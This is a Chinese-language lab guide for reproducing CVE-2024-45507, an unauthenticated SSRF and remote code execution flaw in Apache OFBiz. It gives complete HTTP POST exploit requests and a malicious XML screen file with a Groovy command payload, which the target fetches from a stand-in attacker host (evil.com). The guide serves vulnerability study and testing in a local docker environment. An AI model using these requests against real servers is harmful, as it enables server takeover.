# Apache OFBiz SSRF 和远程代码执行漏洞（CVE-2024-45507）
|
||
|
||
Apache OFBiz是一个开源企业资源规划（ERP）系统。它提供了一套企业应用程序，集成并自动化企业的许多业务流程。
|
||
|
||
Apache OFBiz 18.12.16之前的版本存在一处SSRF与远程命令执行漏洞，未经身份验证的攻击者可以利用该漏洞执行任意命令并控制服务器。
|
||
|
||
参考链接：
|
||
|
||
- <https://github.com/apache/ofbiz-framework/commit/ffb1bc4879>
|
||
- <https://xz.aliyun.com/t/15569>
|
||
- <https://paper.seebug.org/3228/>
|
||
|
||
## 漏洞环境
|
||
|
||
执行以下命令启动一个Apache OFBiz 18.12.15服务器：
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
等待片刻后，您可以在`https://localhost:8443/accounting`看到登录页面。
|
||
|
||
## 漏洞复现
|
||
|
||
### SSRF漏洞
|
||
|
||
向`/webtools/control/forgotPassword/StatsSinceStart`发送以下POST请求即可：
|
||
|
||
```
|
||
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
||
Host: your-ip:8443
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept: */*
|
||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
||
Connection: close
|
||
Cache-Control: max-age=0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 64
|
||
|
||
statsDecoratorLocation=http://10.10.10.10/path/to/api
|
||
```
|
||
|
||
## 远程代码执行漏洞
|
||
|
||
在公共服务器上创建一个恶意的XML文件（payload.xml），例如`http://evil.com/ofbiz/payload.xml`：
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
|
||
|
||
<screen name="StatsDecorator">
|
||
<section>
|
||
<actions>
|
||
<set value="${groovy:'touch /tmp/success'.execute();}"/>
|
||
</actions>
|
||
</section>
|
||
</screen>
|
||
</screens>
|
||
```
|
||
|
||
然后将恶意XML的URL替换进请求中发送：
|
||
|
||
```
|
||
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
||
Host: your-ip:8443
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept: */*
|
||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
|
||
Connection: close
|
||
Cache-Control: max-age=0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 64
|
||
|
||
statsDecoratorLocation=http://evil.com/ofbiz/payload.xml
|
||
```
|
||
|
||
|
||
|
||
进入容器中，可见命令`touch /tmp/success`已经被成功执行：
